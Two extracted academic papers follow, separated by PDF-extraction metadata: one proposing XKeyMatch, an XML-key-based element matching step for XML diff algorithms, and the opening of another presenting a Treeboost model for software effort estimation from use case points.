One area in which matchings based on semantics is especially important is data cleansing[11]. One of the main goals of data cleansing is to detect inconsistencies on input data. As an example, consider a datawarehouse that maintains data imported from external sources. Periodically these external sources update and publish new versions of their database. In order to keep the datawarehouse up-to-date, it is necessary to determine what are the differences of the new version compared to the previous one. If the previous version had been through data cleansing, one would like to know if previously detected mistakes have been corrected, either to prevent redoing the cleansing process, or to report the error to the external source. Ideally, a diff algorithm for helping this task should first identify which pieces in the two versions of imported data refer to the same entity and then determine what has been changed.
Contributions. The main contributions of this paper are:
- A proposal of a semantical approach in the context of diff algorithms for XML;
- An algorithm for matching elements in two versions of XML documents based on XML keys.
To the best of our knowledge this is the first algorithm that introduces keys in the context of XML diff algorithms, and that generates semantically meaningful results when there are changes in the structure of the document.
Related Work. A number of diff algorithms have been proposed in the literature both for text documents[8] and for tree structures[13, 14, 17]. XyDiff[1] is one of the earliest algorithms proposed for XML. It was designed for datawarehouses that store huge amounts of data, and therefore it was designed to be efficient, both in time and space. The algorithm is based on an ordered tree model. When the documents are accompanied with a DTD[4], attributes defined as identifiers (ID) are used to match elements according to their values. X-Diff[15] is an algorithm based on an unordered tree model. The distinguishing feature of diffX algorithm[2] is that it looks for matches in isolated fragments of the XML tree, instead of pairing nodes along a tree traversal. A different strategy for finding matches is applied by KF-Diff[16]. It is based on defining unique paths starting from the root for each node in the tree. Whenever such a path cannot be found, which happens when a node has more than one child with the same label, these labels are replaced by key fields. Key fields are values contained in the subtrees rooted at these nodes that can distinguish them among those with the same label. Although the idea of key fields is used in this algorithm, it is applied as a technique for deriving unique paths. They are not defined by the user, and therefore are not meant to capture the semantics of the document. Comparative studies of existing XML diff algorithms can be found in [7] and [12].
Organization. The rest of the paper is organized as follows. Section 2 defines XML keys, and presents definitions related to diff algorithms. Section 3 describes our proposal of a semantical diff algorithm, followed by our conclusions in Section 4.
2. XML Keys and Diff Algorithms
This section presents some definitions used throughout the paper.
Tree model and XML keys. XML documents can be modeled as trees. Nodes in the tree can be of three types: element, attribute, and text, where attribute labels are prefixed by “@”. Based on node types, we define function $lab(n)$, and $val(n)$ as follows: if $n$ is an element node then $lab(n)$
denotes the name of the element and val(n) is undefined; if n is an attribute node then lab(n) denotes the name of the attribute and val(n) is its associated string value; if n is a text node then lab(n) = “S”, and val(n) is its string value. Two examples of XML trees are illustrated in Figure 1.
To define a key we specify three things: 1) the context in which the key must hold; 2) a target set on which we are defining a key; and 3) the values which distinguish each element of the target set. For example, the key specification of Example 1 has a context of the root (the entire document), a target set of professor, and a single key value, name. Specifying the context node and target set involves path expressions.
The path language we adopt is a common fragment of regular expressions [10] and XPath [6]:
\[ Q ::= \epsilon | l | Q/Q | Q* \]
where \( \epsilon \) is the empty path, \( l \) is a node label, “/” denotes concatenation of two path expressions (child in XPath), and “*” means descendant-or-self in XPath. To avoid confusion we write \( P\!/Q \) for the concatenation of \( P, / \) and \( Q \).
Following the syntax of [5] we write an XML key as:
\[ K : (C, (\{P_1, \ldots, P_n\})) \]
where \( K \) is the name of the key, path expressions \( C \) and \( T \) are the context and target path expressions respectively, and \( P_1, \ldots, P_n \) are the key paths. For the purposes of this paper, we restrict the key paths to be simple paths (without “*”). A key is said to be absolute if the context path \( C \) is the empty path \( \epsilon \), and relative otherwise.
Example 2: Using this syntax, some constraints on XML trees in Figure 1 can be written as follows:
- \( k_1 : (\epsilon, (\text{university}, \{\text{@name}\})) \): within the context of the entire document (\( \epsilon \) denotes the root), a university is identified by its name.
- \( k_2 : (\text{university}, (//\text{professor}, \{\text{name}, \text{phone}\})) \): within the context of each subtree rooted at a university element, a professor is uniquely identified by the values of its subelements name and phone. The professor can appear anywhere in the subtree rooted at university.
To define the meaning of an XML key, we use the following notation: in an XML document (tree), \( n[P] \) denotes the set of node identifiers that can be reached by following path expression \( P \) from the node with identifier \( n \). \( [P] \) is an abbreviation for \( r[P] \), where \( r \) is the root node of the tree. As an example, in Fig. 1(a), \( \{\text{university}\} = \{2\} \), \( 2[\text{professor}] = \{4, 13\} \) and \( 4[\text{name}] \neq 13[\text{name}] \).
The formal definition of the meaning of an XML key is given next.
Definition 1 An XML tree satisfies an XML key \( (Q, (Q', (P_1, \ldots, P_n))) \) iff for any \( n \in [Q] \) and any \( n_1 \) and \( n_2 \in [Q'] \), if for all \( i, 1 \leq i \leq n \) there exists \( z_1 \) in \( n_1[P_i] \) and \( z_2 \) in \( n_2[P_i] \) such that \( z_1 =_v z_2 \), then \( n_1 = n_2 \).
The definition above involves value equality on trees (\( =_v \)), so we formalize this notion below.
Definition 2 Given an XML tree \( T \), and two nodes \( n_1 \) and \( n_2 \) in \( T \), we say that they are value equal, denoted as \( n_1 =_v n_2 \) iff the following conditions are satisfied: 1) \( \text{lab}(n_1) = \text{lab}(n_2) \); 2) if \( n_1 \) and \( n_2 \) are attribute or text nodes then \( \text{val}(n_1) = \text{val}(n_2) \); 3) if \( n_1 \) and \( n_2 \) are element nodes then: an attribute \( A \) is defined for \( n_1 \) iff it is also defined for \( n_2 \), and \( \text{val}(n_1.A) = \text{val}(n_2.A) \); moreover, if \( [d_1, \ldots, d_k] \) are subelements of \( n_1 \) then \( n_2 \) has subelements \( [d'_1, \ldots, d'_k] \), and for all \( i \in [1, k] \) there exists \( j \in [1, k] \) such that \( d_i =_v d'_j \).
For example, XML tree of Fig. 1(a) satisfies key \( (\text{/professor}, \{\text{name}\}) \) since \( 4[\text{name}] =_v 13[\text{name}] \).
Diff Algorithms. The essential goal of a diff algorithm is to find an edit script such that given a version of a document in time \( t - 1 \) and the edit script, it is possible to obtain its version in time \( t \). The number of operations in an edit script is called the edit distance. Although the edit distance is often used to define the cost of the transformation, finding a minimum edit script is not always the best strategy for generating semantically meaningful results. In the next Section, we propose using XML keys to guide the node matching process of a diff algorithm.
3. A Semantical Diff Algorithm
In this section we present XKeyMatch, an algorithm for matching elements in two versions of XML trees based on XML keys. This algorithm is designed to be executed before a diff algorithm that compares the contents in both versions. The architecture of the system is depicted in Figure 2.

Algorithm XKeyMatch receives as input two versions, \( v_{t-1} \) and \( v_t \), of XML trees, and a set of XML keys \( \Sigma \) that are known to be satisfied by both versions. The output is a set \( \Gamma \) of node pairs \( [n_1, n_2] \), where \( n_1 \) is a node in \( v_{t-1} \) that refers to the same entity as node \( n_2 \) in \( v_t \) according to \( \Sigma \). The set \( \Gamma \) is then given as input to a diff algorithm that,
based on these matchings, compares versions \(v_{t-1}\) and \(v_t\) and generates an edit script.
Algorithm XKeyMatch is based on the construction of a deterministic finite automaton (DFA) from the set \(\Sigma\) of XML keys, denoted as KeyDFA(\(\Sigma\)). Using this DFA, it is possible to process all keys in \(\Sigma\) at the same time, and all matchings based on \(\Sigma\) can be generated with a single pre-order traversal on \(v_{t-1}\) and \(v_t\). More specifically, each state of the DFA represents a set of paths, and it stores information on all keys that can be defined on nodes reached by following these paths. Therefore, each step of the XML tree traversal corresponds to a change of state in the automaton; information on keys stored at each state is used to collect nodes that are candidates for matchings based on these keys.
After collecting all candidates, algorithm XKeyMatch pairs nodes in both versions according to their key values. These steps of the algorithm are depicted in Figure 3. Given XML trees \(T_1\) and \(T_2\), and a set of XML keys \(\Sigma\), the algorithm first builds KeyDFA(\(\Sigma\)) (Line 1). Then candidates are selected by calling function get_candidates for both trees (Lines 2 and 3). The resulting set of matches is computed by function match, which compares the candidates previously collected (Line 4). Next, we present each of these steps in detail.
### Function XKeyMatch
**Input:** XML trees \(T_1, T_2\), and a set of XML keys \(\Sigma\)
**Output:** a set of matched node pairs
1. \(\text{KeyDFA} := \text{DFA}(\Sigma)\);
2. \(\text{candidates}(T_1) := \text{get_candidates}(T_1, \text{KeyDFA})\);
3. \(\text{candidates}(T_2) := \text{get_candidates}(T_2, \text{KeyDFA})\);
4. return \((\text{match}(\text{candidates}(T_1), \text{candidates}(T_2), T_1, T_2))\);
**Figure 3. Algorithm XKeyMatch**
### DFA Construction
Given a set \(\Sigma\) of XML keys, this step of algorithm XKeyMatch generates a deterministic finite automaton, denoted as KeyDFA(\(\Sigma\)), where each state stores information for processing every key in \(\Sigma\) with a single traversal on an XML tree \(T\).
Let \(\Sigma = \{\sigma_1, \ldots, \sigma_n\}\), where each \(\sigma_i\) is of the form \((Q_i, (Q'_i, \{P^{i_1}_i, \ldots, P^{i_m}_i\}))\). We first describe the construction of a non-deterministic finite state automaton (NFA) associated with each key \(\sigma_i\) in \(\Sigma\). We start with the construction of a NFA for each path \(p\) in \(\{Q_i, Q'_i, P^{i_1}_i, \ldots, P^{i_m}_i\}\), defined as \(M(p) = (N_p, L_p \cup \{\text{other}\}, \delta_p, S_p, F_p)\), where \(N_p\) is a set of states, \(L_p\) is the alphabet, \(\delta_p\) is the transition function, \(S_p\) is the start state, and \(F_p\) is the set of final states. Here, “other” is a special character that can match any character. These automaton have “linear structure”; that is, if \(p = l_1/\ldots/l_m\), then \(\delta_p(S_p, l_1) = q_1\), for each \(j, 1 \leq j < m, \delta_p(q_j, l_{j+1}) = q_{j+1}\), and \(q_m = F_p\). If \(p\) contains “/” then there exists a transition from a state back to itself with “other”. That is, if \(p = \ldots//l_j\ldots\) for some \(j\) then \(\delta_p(q_{j-1}, \text{other}) = q_j-1\), where \(q_0 = S_p\).
The final states of these NFAs carry information about the key considered for its construction, denoted as keyInfo. Let \(F = \{F_{Q_i}, F_{Q'_i}, F_{P^{i_1}_i}, \ldots, F_{P^{i_m}_i}\}\). For each \(f \in F\), keyInfo\([f]\) contains the following information:
- **keyId:** \(\sigma_i\)'s identifier;
- **type:** the value of this field is context if \(f = F_{Q_i}\), target if \(f = F_{Q'_i}\) and keyPath otherwise;
- **keyPathId:** a identifier for each key path. This field is defined only when keyInfo\([f].type = \text{keyPath}\); in this case, if \(f = F_{P^j_i}\) then keyInfo\([f].keyPathId = j\).
The NFA for key \(\sigma_i\) is obtained by making the final state of \(M(Q_i)\) coincide with the start state of \(M(Q'_i)\), and the final state of \(M(Q'_i)\) coincide with start states of \(M(P^k_i)\), \(1 \leq k \leq n_i\). The NFA for all keys in \(\Sigma\), \(M(\Sigma)\) is finally obtained by creating a new start state with \(\epsilon\)-transitions to the start states of all \(M(\sigma_i)\), \(1 \leq i \leq n\). An example of the resulting NFA for \(\Sigma = \{k_1:\{\text{university, name}\}, k_2:\{\text{university, }//\text{professor, name, phone}\}\}\) is depicted in Figure 4(a), and the corresponding keyInfo structure is given in Figure 4(c).
**Figure 4. DFA construction**
Given NFA \(M(\Sigma)\), KeyDFA(\(\Sigma\)) is obtained applying standard subset construction algorithm[10]. The automaton for our running example is shown in Figure 4(b). Observe that, although in \(M(\Sigma)\) each state contains information of at most one key in \(\Sigma\), after the conversion, each state \(q'\) in KeyDFA(\(\Sigma\)) contains information from all original states represented by \(q'\). As an example, in Figure 4(b), keyInfo\([\{3, 6\}\]) = keyInfo\([3]\), keyInfo\([6]\).
The automaton construction described in this section is similar to that defined in [9] for XML stream processing, which evaluates the effectiveness of processing a large number of XPath expressions on streams when the DFA is constructed "lazily". Although the number of states in a DFA can grow exponentially on the number of input path expressions, the number of keys for a given document is usually
small. Moreover, since changes on keys are not frequent, if versions of the same document are periodically downloaded, KeyDFA(Σ) can be locally stored, instead of being recomputed at each execution of the diff algorithm.
Selection of Candidates. Given KeyDFA(Σ), algorithm XKeyMatch process each of the XML trees given as input using this automaton, gathering information on possible candidates for matchups according to Σ. Let T be one these trees, and KeyDFA(Σ) = (Q, A, δ, q0, F). Starting with the root of T and start state q0, T is traversed in preorder, and each step in the tree traversal corresponds to a step in its processing with the automaton. During the traversal, information about key values are collected using data stored at each state q visited. That is, suppose the current state is q when processing a node n in T. If keyInfo[q] contains information on a key path of a key k, then n is a key value for some node nq, and therefore we can associate nq with the value of n. Observe that k may contain more than one key path. If this is the case, then nq is identified as a candidate for matching only if it is associated with values for all key paths of k, and we say that nq is “keyed” on k.
To keep track of the information needed to determine whether a node is a candidate for matching along the tree traversal, we associate the following with each key k = (Q, (Q', {P1, ..., Pn})) in Σ, in a structure called keyVal[k]:
- contextNodes: a set of nodes in {Q};
- targetNode: last node visited in n{Q'} for some n in contextNodes;
- keyNode: last node visited in targetNode[P1];
- keyPathId: key path identifier i, 1 ≤ i ≤ n;
Recall that a node in the tree may play different roles (as context, target, or key path) for different keys in Σ, and this information is given by keyInfo[s], where s is a state in KeyDFA(Σ). Suppose that the current state of KeyDFA(Σ) is s when processing node n in T. Then for each element v in keyInfo[s] we obtain the value of v.keyId = k, and values in v are used for filling up fields in keyVal[k]. As an example, consider tree T1 in Figure 1(a). Let the current node in T1 be 2 (a university node), and the current state of KeyDFA(Σ) be {3, 6}. Then the algorithm sets keyVal[k1].targetNode = 2, since keyInfo[3] states that the current node is the target of k1. Moreover, node 2 is inserted in keyVal[k2].contextNodes, based on the value of keyInfo[6]. That is, structure keyVal[k] is a placeholder for information gathered along the tree traversal. Whenever values for all key paths of k are found, values in keyVal[k] contain data on a candidate for matching based on k. The result of function get_candidates on T1 and T2 is given in Figure 5.
The first line in the table of Figure 5(a) has been collected according to the XML key k1 := (university, name) ));}, while candidate 2 has been collected according to key k2 := ((university, //professor, name, phone, ) ). Observe that node 13 (a professor node) has not been included in the set, since it does not have values for key path phone. Similarly, in Figure 5(b), line 1 has been collected using key k1, while line 2 has been collected according to k2.
Matching. Given the set of candidates for matching from both versions of XML trees T1 and T2, function match looks for candidates in these sets with the same key values. That is, we search for nodes n1 in candidates of T1 and n2 in candidates of T2 that are keyed on the same key k and coincide on the values of all key paths. When k is a relative key, we can only conclude that n1 matches n2 if the contexts in which n1 and n2 are defined also match. Consider again the XML keys in our running example. If both candidates contain professor-nodes with the same name and phone, we can only conclude that they are indeed the same professor if the university (the context) in which they are defined also match. After finding a pair of target nodes [n1, n2] that match, this matching is propagated downwards. That is, if they have been matched based on the values of some key paths, these key path nodes can also be matched.
In function match, all pairs of nodes that are candidates for matching are collected in a data structure containing the following information: the key identifier k (keyId); the context node in T1 (contextNode1); the target node in T1 (targetNode1); the context node in T2 (contextNode2); the target node in T2 (targetNode2), a set of records [keyPathId, keyNode1, keyNode2], where keyNode1 and keyNode2 are key nodes in T1 and T2, respectively, with the same value.
As an example, consider again XML trees T1 and T2 depicted in Figure 1 and the output of function get_candidates on T1 and T2 given in Figure 5. After comparing the values of candidates for matching, the resulting set contains the values shown in Figure 6. The first candidate is included in the set because nodes 2 and 32 are university nodes in T1 and T2, respectively, with the same @name value. Similarly, the second candidate is
inserted because nodes 4 and 36 are professor nodes that coincide on the values of both name and phone. To compute the resulting set of matches, we start by inserting the pair [1, 31], the roots of $T_1$ and $T_2$, in the set. When processing the first candidate [2, 32] it is checked whether their context has already been matched. Since this is the case, [2, 32] is inserted in the result. This matching is propagated downwards and pair [3, 33] (name nodes) are also inserted in the result. For the second candidate [4, 36], it is checked whether their context [2, 32] has already been matched. Since this is also the case, we can conclude the it is indeed a match and insert the pair in the resulting set. The propagation of matches includes in the result the following pairs: [5, 37], [6, 38] (name nodes), [7, 39] and [8, 40] (phone nodes).
<table>
<thead>
<tr>
<th>keyId</th>
<th>context node1</th>
<th>target node1</th>
<th>context node2</th>
<th>target node2</th>
<th>[keyPathId, keyNode1, keyNode2]</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>1</td>
<td>2</td>
<td>31</td>
<td>32</td>
<td>{[1,3,33]}</td>
</tr>
<tr>
<td>2</td>
<td>2</td>
<td>4</td>
<td>32</td>
<td>36</td>
<td>{[1,5,37], [2,7,39]}</td>
</tr>
</tbody>
</table>
Figure 6. Candidates for matching
Implementation. Algorithm XKeyMatch has been implemented in C++, using DOM [3]. XyDiff is the algorithm chosen to take as input the set of matches resulting from XKeyMatch, find additional matchings, and generate the edit script. Some libraries from XyDiff have been used by XKeyMatch to implement the communication between them. We have conducted some experiments to evaluate the effectiveness of our proposal, and to determine if it indeed solves the problems detected in other diff algorithms and reported in Section 1. The results are very encouraging. In particular, for Example 1, the definition of a single key \(//text{professor}, \{\text{name}\} \) prevents both problems described in the introduction. A final remark is that, although our proposal can have an impact on the performance of the diff algorithm to which algorithm XKeyMatch is applied to preprocess the input XML documents, many applications favor the quality of the result rather than the efficiency of the algorithm.
4. Conclusion
We have proposed a new approach in the context of diff algorithms for XML. As opposed to previous works, that are based solely on the structural analysis of XML documents, our technique takes into consideration their semantics. Our approach consists of extending the structural analysis with a preprocessing phase which uses XML keys to match elements that refer to the same entity in two versions of the document. Although XKeyMatch requires the user to be familiar with the documents being compared, when the input keys faithfully capture their semantics, our algorithm always generates more meaningful results than others based solely on structure and value similarities. One topic for future work is to perform an experimental study using large amounts of data, especially real ones, in order to determine the impact of the preprocessing phase in practice. Possible test beds are scientific databases, since they present appropriate structure and behavior.
References
|
{"Source-Url": "http://www.inf.ufpr.br/carmem/pub/seke07.pdf", "len_cl100k_base": 7110, "olmocr-version": "0.1.50", "pdf-total-pages": 6, "total-fallback-pages": 0, "total-input-tokens": 25988, "total-output-tokens": 8455, "length": "2e12", "weborganizer": {"__label__adult": 0.00033593177795410156, "__label__art_design": 0.0005564689636230469, "__label__crime_law": 0.0004622936248779297, "__label__education_jobs": 0.0012750625610351562, "__label__entertainment": 0.00012803077697753906, "__label__fashion_beauty": 0.00020122528076171875, "__label__finance_business": 0.00044083595275878906, "__label__food_dining": 0.00033926963806152344, "__label__games": 0.0006098747253417969, "__label__hardware": 0.00083160400390625, "__label__health": 0.0005950927734375, "__label__history": 0.0003771781921386719, "__label__home_hobbies": 0.00010877847671508788, "__label__industrial": 0.0004167556762695313, "__label__literature": 0.0007452964782714844, "__label__politics": 0.00034999847412109375, "__label__religion": 0.0005197525024414062, "__label__science_tech": 0.13720703125, "__label__social_life": 0.00015032291412353516, "__label__software": 0.0296630859375, "__label__software_dev": 0.82373046875, "__label__sports_fitness": 0.00022149085998535156, "__label__transportation": 0.0004305839538574219, "__label__travel": 0.00019180774688720703}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 30886, 0.02506]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 30886, 0.71731]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 30886, 0.90175]], "google_gemma-3-12b-it_contains_pii": [[0, 4606, false], [4606, 9273, null], [9273, 14756, null], [14756, 20228, null], [20228, 25219, null], [25219, 30886, null]], "google_gemma-3-12b-it_is_public_document": [[0, 4606, true], [4606, 9273, null], [9273, 14756, null], [14756, 20228, null], [20228, 25219, null], [25219, 30886, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 30886, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 30886, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 30886, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 30886, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 30886, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 30886, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 30886, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 30886, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 30886, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 30886, null]], "pdf_page_numbers": [[0, 4606, 1], [4606, 9273, 2], [9273, 14756, 3], [14756, 20228, 4], [20228, 25219, 5], [25219, 30886, 6]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 30886, 0.03636]]}
|
olmocr_science_pdfs
|
2024-12-01
|
2024-12-01
|
e48a266c834686fbd68f1b89d8e28fdfefc6a505
|
[REMOVED]
|
{"Source-Url": "https://helda.helsinki.fi//bitstream/handle/10138/41932/0bcc9075da894620f1be7f59ced5164541f1bb5f.pdf?sequence=2", "len_cl100k_base": 7460, "olmocr-version": "0.1.53", "pdf-total-pages": 16, "total-fallback-pages": 0, "total-input-tokens": 35763, "total-output-tokens": 9403, "length": "2e12", "weborganizer": {"__label__adult": 0.0004341602325439453, "__label__art_design": 0.0005369186401367188, "__label__crime_law": 0.0003898143768310547, "__label__education_jobs": 0.00890350341796875, "__label__entertainment": 7.331371307373047e-05, "__label__fashion_beauty": 0.0001952648162841797, "__label__finance_business": 0.0007090568542480469, "__label__food_dining": 0.00044608116149902344, "__label__games": 0.0006041526794433594, "__label__hardware": 0.0004930496215820312, "__label__health": 0.000507354736328125, "__label__history": 0.0002791881561279297, "__label__home_hobbies": 9.369850158691406e-05, "__label__industrial": 0.0004074573516845703, "__label__literature": 0.000400543212890625, "__label__politics": 0.00032973289489746094, "__label__religion": 0.0005025863647460938, "__label__science_tech": 0.006839752197265625, "__label__social_life": 0.0001533031463623047, "__label__software": 0.0044097900390625, "__label__software_dev": 0.97216796875, "__label__sports_fitness": 0.0003390312194824219, "__label__transportation": 0.0005612373352050781, "__label__travel": 0.00022482872009277344}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 45525, 0.03371]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 45525, 0.23851]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 45525, 0.94453]], "google_gemma-3-12b-it_contains_pii": [[0, 888, false], [888, 3566, null], [3566, 7032, null], [7032, 10114, null], [10114, 13284, null], [13284, 14795, null], [14795, 17930, null], [17930, 20977, null], [20977, 24284, null], [24284, 26320, null], [26320, 29364, null], [29364, 32446, null], [32446, 35917, null], [35917, 39060, null], [39060, 42341, null], [42341, 45525, null]], "google_gemma-3-12b-it_is_public_document": [[0, 888, true], [888, 3566, null], [3566, 7032, null], [7032, 10114, null], [10114, 13284, null], [13284, 14795, null], [14795, 17930, null], [17930, 20977, null], [20977, 24284, null], [24284, 26320, null], [26320, 29364, null], [29364, 32446, null], [32446, 35917, null], [35917, 39060, null], [39060, 42341, null], [42341, 45525, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 45525, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 45525, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 45525, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 45525, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 45525, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 45525, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 45525, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 45525, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 45525, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 45525, null]], "pdf_page_numbers": [[0, 888, 1], [888, 3566, 2], [3566, 7032, 3], [7032, 10114, 4], [10114, 13284, 5], [13284, 14795, 6], [14795, 17930, 7], [17930, 20977, 8], [20977, 24284, 9], [24284, 26320, 10], [26320, 29364, 11], [29364, 32446, 12], [32446, 35917, 13], [35917, 39060, 14], [39060, 42341, 15], [42341, 45525, 16]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 45525, 0.0]]}
|
olmocr_science_pdfs
|
2024-12-09
|
2024-12-09
|
5240bc309819575064cd5ac9307bb4f7ad255256
|
A Treeboost Model for Software Effort Estimation Based on Use Case Points
Ali Bou Nassif and Luiz Fernando Capretz
Department of ECE, Western University
{abounas, lcapretz}@uwo.ca
Abstract--Software effort prediction is an important task in the software development life cycle. Many models including regression models, machine learning models, algorithmic models, expert judgment and estimation by analogy have been widely used to estimate software effort and cost. In this work, a Treeboost (Stochastic Gradient Boosting) model is put forward to predict software effort based on the Use Case Point method. The inputs of the model include software size in use case points, productivity and complexity. A multiple linear regression model was created and the Treeboost model was evaluated against the multiple linear regression model, as well as the use case point model by using four performance criteria: MMRE, PRED, MdMRE and MSE. Experiments show that the Treeboost model can be used with promising results to estimate software effort.
Keywords--Software effort estimation, use case points, project management, Treeboost Model, Stochastic Gradient Boosting.
I. INTRODUCTION
Predicting software cost and effort with good accuracy has been a challenge for many project managers and researchers. The Standish Chaos Report [1] states that 2 out of 3 projects fail to be delivered on time and within budget. Several cost estimation techniques have been used for software effort and cost prediction. These tools include algorithmic models, expert judgment, estimation by analogy and machine learning techniques. Software effort is a function of many factors such as software size and quality attributes; however, software size is the most important factor. The Source Lines of Code (SLOC) is one of the oldest size metrics and has been widely used by models such as COCOMO [2] and SLIM [3]. The SLOC metric has been criticized because it cannot be used early and it depends on the programming language and technology used to develop the project [4]. Albrecht [5] introduced the function points metric to tackle the limitations of the SLOC metric; however, counting function points is sometimes subjective and complicated. Another available size metric is the use case points (UCP) which was proposed by G. Karner [6]. The UCP metric is computed based on the number and complexity of the use cases as well as actors in a use case diagram. Use case diagrams are developed in the requirements stage and they are usually included in the Software Requirements Specification (SRS).
In this research, we put forward a novel Treeboost (aka Stochastic Gradient Boosting) model to predict software effort from use case diagrams. The Treeboost algorithm was introduced by J. Friedman [7] [8]. This algorithm was developed to improve the accuracy of decision trees models. The inputs of our Treeboost model include software size, team productivity and project complexity. Software size is estimated based on the use case point (UCP) model as described in Section II, A. Team productivity is computed based on the environmental factors listed in Table I. Project complexity is estimated based on the rules proposed in Section IV, B. The Treeboost model was trained and tested using 59 and 25 data points respectively. To evaluate the Treeboost model, a multiple linear regression model was developed from the same 59 data points used to train the Treeboost model. The proposed Treeboost model is then evaluated against the multiple linear regression model as well as the UCP model using four different criteria. The evaluation experiments showed that the Treeboost model outperforms the multiple linear regression and UCP models and thus, can be used to predict software effort with promising results.
The remainder of this paper is organized as follows: Section II presents a background of terms used in this paper. Section III introduces related work whereas Section IV proposes the Treeboost and multiple linear regression models. In Section V, the Treeboost model is evaluated. Section VI lists threats to validity whereas Section VII concludes the paper and suggests future work.
II. BACKGROUND
This section defines the main terms used in this paper which includes the UCP model, evaluation criteria, Treeboost algorithm.
A. Use Case Point Model
The use case point (UCP) model was first described by Gustav Karner in 1993 [6]. This model is used for software cost estimation based on the use case diagrams. First, the software size is calculated according to the number of actors and use cases in a use case diagram multiplied by their complexity weights. The software size is calculated through two stages. These include the Unadjusted Use Case Points (UUCP) and the Adjusted Use Case Points (UCP). UUCP is achieved through the summation of the Unadjusted Use Case Weight (UUCW) and Unadjusted Actor Weight (UAW). After calculating the UUCP, the Adjusted Use Case Points (UCP) is calculated. UCP is achieved by multiplying UUCP by the Technical Factors (TF) and the Environmental Factors (EF).
For effort estimation, Karner proposed 20 person-hours to develop each UCP. This approach is not always reasonable for all software houses [9], [10], [11], [12] and [13], so we propose to use the Treeboost algorithm.
### B. Evaluation Criteria
To assess the accuracy of the proposed model, we have used the most common evaluation criteria used in software estimation.
- **MMRE:** This is a very common criterion used to evaluate software cost estimation models [14]. The Magnitude of Relative Error (MRE) for each observation $i$ can be obtained as:
$$MRE_i = \frac{|Actual\ Effort_i - Predicted\ Effort_i|}{Actual\ Effort_i}$$
$$MMRE = \frac{1}{N} \sum_{i=1}^{N} MRE_i$$ \hspace{1cm} (2)
MMRE is the most common method used for evaluating prediction models; however, this method has been criticized by others such as [15], [16] and [17]. For this reason, we used a statistical significant test to compare between the median of two samples based on the residuals. Since the residuals were not normally distributed, the non-parametric statistical test Mann-Whitney U has been used to assess the statistical significance between different prediction models.
- **MdMRE:** One of the disadvantages of the MMRE is that it is sensitive to outliers. MdMRE has been used as another criterion because it is less sensitive to outliers.
$$MdMRE = \text{median}(MRE_i)$$ \hspace{1cm} (3)
- **PRED(x):** The prediction level (PRED) is used as a complimentary criterion to MMRE. PRED calculates the ratio of a project’s MMRE that falls into the selected range (x) out of the total projects.
$$PRED(x) = \frac{k}{n}$$ \hspace{1cm} (4)
where $k$ is the number of projects where $MRE_i \leq x$ and $n$ is the total number of observations. In this work, PRED(0.25) and PRED(0.5) have been used.
- **MSE:** The Mean Squared Error (MSE) is the mean of the square of the differences between the actual and the predicted efforts.
$$MSE = \frac{\sum_{i=1}^{N} (Actual\ Effort_i - Estimated\ Effort_i)^2}{N}.$$ \hspace{1cm} (5)
The estimation accuracy is directly proportional to PRED (x) and inversely proportional to MMRE, MdMRE and MSE.
### C. Treeboost Model
The Treeboost model is also called Stochastic Gradient Boosting (SGB) [8]. Boosting is a method to increase the accuracy of a predictive function by applying the function frequently in a series and combining the output of each function. In other words, as Kearns once asked [18], “can a set of weak learners create a single strong learner?” The main difference between the Treeboost model and a single decision tree is that the Treeboost model consists of a series of trees. The main limitation of the Treeboost is that it acts like a black box (similar to some neural network models) and cannot represent a big picture of the problem as a single decision tree does. The Treeboost model has the following characteristics:
- The Treeboost uses Huber-M loss function [19] for regression. This function is a hybrid of ordinary least squares (OLS) and Least Absolute Deviation (LAD). For residuals which are less than a cutoff point (Huber’s Quantile Cutoff), the square of the residuals is used. Otherwise, absolute values are used. This method is used to alleviate the influence of outliers. For outliers, where residuals have high values, squaring the residuals will lead to huge values, so outliers will be treated with the “absolute values” method instead. The Huber’s Quantile Cutoff value is recommended to be between 0.9 and 0.95. If it is 0.9, the residuals will first be sorted from small to high. Then, the smallest 90% of the residuals will be squared (OLS) and the other residuals (largest 10%) will be treated with the LAD method.
